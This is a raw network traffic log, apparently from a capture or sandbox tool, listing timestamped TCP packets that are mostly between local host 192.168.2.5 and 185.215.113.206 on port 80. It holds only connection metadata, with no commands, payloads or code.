Nov 15, 2024 16:16:31.496283054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496294022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496294975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496294975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496308088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496320009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496326923 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496332884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496366978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496401072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496515036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496527910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496541023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496555090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496566057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496572018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496578932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496591091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496603012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496614933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496635914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496637106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496650934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496661901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496661901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496663094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497030973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497057915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497131109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497144938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497231960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497245073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497246981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497246981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497258902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497272015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497292995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497292995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497339964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497340918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497354984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497366905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497378111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497389078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497400999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497407913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497412920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497442007 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497466087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497476101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497488022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497499943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497512102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497523069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497540951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497642040 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497745037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497834921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.497855902 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.497893095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.523334026 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.525819063 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.525842905 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.532927036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.532947063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.532962084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.532973051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.533061981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.533396006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.604108095 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.608443022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608455896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608467102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608493090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608503103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608515024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608542919 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.608634949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608660936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608685970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.608726025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.608781099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608793974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608798981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608812094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608825922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608836889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608846903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608858109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608869076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.608889103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.608890057 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.608931065 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609700918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609713078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609723091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609735966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609757900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609769106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609769106 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609780073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609800100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609803915 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609810114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609819889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609831095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609842062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609843016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609843016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609853983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609863043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609874010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609875917 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609885931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609898090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.609926939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.609961033 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610528946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610539913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610548973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610601902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610606909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610613108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610624075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610726118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610726118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610754013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610766888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610778093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610783100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610799074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610816002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610826969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610836983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610851049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610852003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610861063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610888004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610904932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610917091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610929966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610929966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610929966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610935926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610955000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610965967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610976934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.610980988 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.610996962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611008883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611017942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611023903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611023903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611030102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611042023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611052990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611053944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611116886 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611118078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611154079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611166954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611176968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611187935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611198902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611217976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611226082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611246109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611259937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611262083 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611272097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611284018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611293077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611304998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611323118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611340046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611350060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611352921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611365080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611376047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611381054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611382961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611382961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611419916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611443043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611454010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611464024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611476898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611507893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611515999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611526012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611531019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611536026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611541986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611552954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611577988 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611609936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611622095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611627102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611632109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611645937 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611645937 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611736059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611748934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611757994 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611758947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611769915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611795902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611807108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611818075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611835957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611835957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611850977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611865997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.611891985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611891985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.611938000 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612025023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612036943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612049103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612067938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612087011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612106085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612107992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612128973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612138987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612147093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612147093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612148046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612174034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612190008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612193108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612205982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612222910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612240076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612246990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612253904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612266064 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612282038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612288952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612294912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612306118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612317085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612327099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612332106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612330914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612338066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612349987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612380981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612390995 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612401009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612406015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612406015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612406015 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612412930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612425089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612437010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612447023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612457037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612468958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612473965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612481117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612492085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612493992 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612504005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612534046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612596989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612596989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612596989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612596989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612600088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612612963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612688065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612699986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612709999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612720966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612729073 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612729073 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612730980 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.612768888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.612787008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613043070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613121033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613132000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613142014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613182068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613193989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613204002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613219976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613236904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613255978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613267899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613277912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613276958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613277912 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613289118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613298893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613312006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613333941 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613348961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613360882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613377094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613385916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613388062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613413095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613430977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613444090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613452911 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613459110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613472939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613482952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613486052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613498926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613514900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613526106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613567114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613567114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613567114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613746881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613763094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613774061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613785982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613795996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613807917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.613814116 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613852978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.613852978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614118099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614129066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614139080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614149094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614166975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614207029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614218950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614229918 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614243984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614255905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614310026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614331961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614348888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614352942 CET	80	49759	185.215.113.206	192.168.2.5
